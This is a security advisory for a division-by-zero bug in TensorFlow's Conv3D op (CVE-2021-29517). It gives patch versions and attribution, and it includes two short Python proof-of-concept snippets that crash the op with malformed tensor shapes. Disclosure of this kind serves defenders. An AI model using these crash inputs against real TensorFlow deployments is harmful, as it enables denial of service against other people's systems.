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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3MnAteDU0cC1oanJ2

Division by zero in `Conv3D`

Impact

A malicious user could trigger a division by 0 in Conv3D implementation:

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)

tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])

The implementation does a modulo operation based on user controlled input:

  const int64 out_depth = filter.dim_size(4);
  OP_REQUIRES(context, in_depth % filter_depth == 0, ...);

Thus, when filter has a 0 as the fifth element, this results in a division by 0.

Additionally, if the shape of the two tensors is not valid, an Eigen assertion can be triggered, resulting in a program crash:

import tensorflow as tf

input_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)

tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])

The shape of the two tensors must follow the constraints specified in the op description.

Patches

We have patched the issue in GitHub commit 799f835a3dfa00a4d852defa29b15841eea9d64f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Permalink: https://github.com/advisories/GHSA-772p-x54p-hjrv
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3MnAteDU0cC1oanJ2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: over 3 years ago
Updated: 15 days ago

CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-772p-x54p-hjrv, CVE-2021-29517
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-772p-x54p-hjrv
• https://nvd.nist.gov/vuln/detail/CVE-2021-29517
• https://github.com/tensorflow/tensorflow/commit/799f835a3dfa00a4d852defa29b15841eea9d64f
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-445.yaml
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-643.yaml
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-154.yaml
• https://github.com/advisories/GHSA-772p-x54p-hjrv

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 12.2

Affected Packages